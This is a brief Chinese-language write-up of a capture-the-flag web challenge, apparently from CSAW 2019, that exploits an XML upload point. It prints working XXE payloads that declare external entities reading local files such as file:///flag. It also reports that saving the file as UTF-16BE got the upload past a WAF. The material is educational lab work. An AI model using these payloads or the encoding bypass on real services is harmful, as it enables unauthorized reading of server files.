Home没有什么可看的,只有一行字
User
User下有一些用户信息,但是也没什么用
upload下则是有一个上传点,不出意料漏洞应该就在这。
about下写出了flag的位置。
可以看到upload下有一行
You can check out the format example here
点开example后看到一堆xml代码
<users><user><username>alice</username><password>passwd1</password><name>Alice</name><email>alice@fakesite.com</email><group>CSAW2019</group></user><user><username>bob</username><password>passwd2</password><name> Bob</name><email>bob@fakesite.com</email><group>CSAW2019</group></user></users>
于是就去查询了以下xml相关的漏洞,发现了XXE漏洞,大致思路是通过定义外部实体,通过在xml中引用,打印出外部实体中的内容。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]><creds><user>&xxe;</user><pass>mypass</pass></creds>
这段xml的作用就是通过定义的xxe实体得到C:/test.dtd的内容。
知道了利用方式后就可以自己构造xml文件,来得到flag的内容。
<?xml version="1.0"?><!DOCTYPE users [<!ELEMENT users ANY ><!ENTITY aaa SYSTEM "file:///flag" >]><users><user><username>&aaa;</username><password>3</password><name>&aaa;</name><email>&aaa;</email><group>&aaa;</group><intro>&aaa;</intro></user></users>
上传后,发现被WAF拦截了,继续搜索XXE绕过WAF的方法。
将文件保存为UTF-16BE后,上传文件,得到flag。
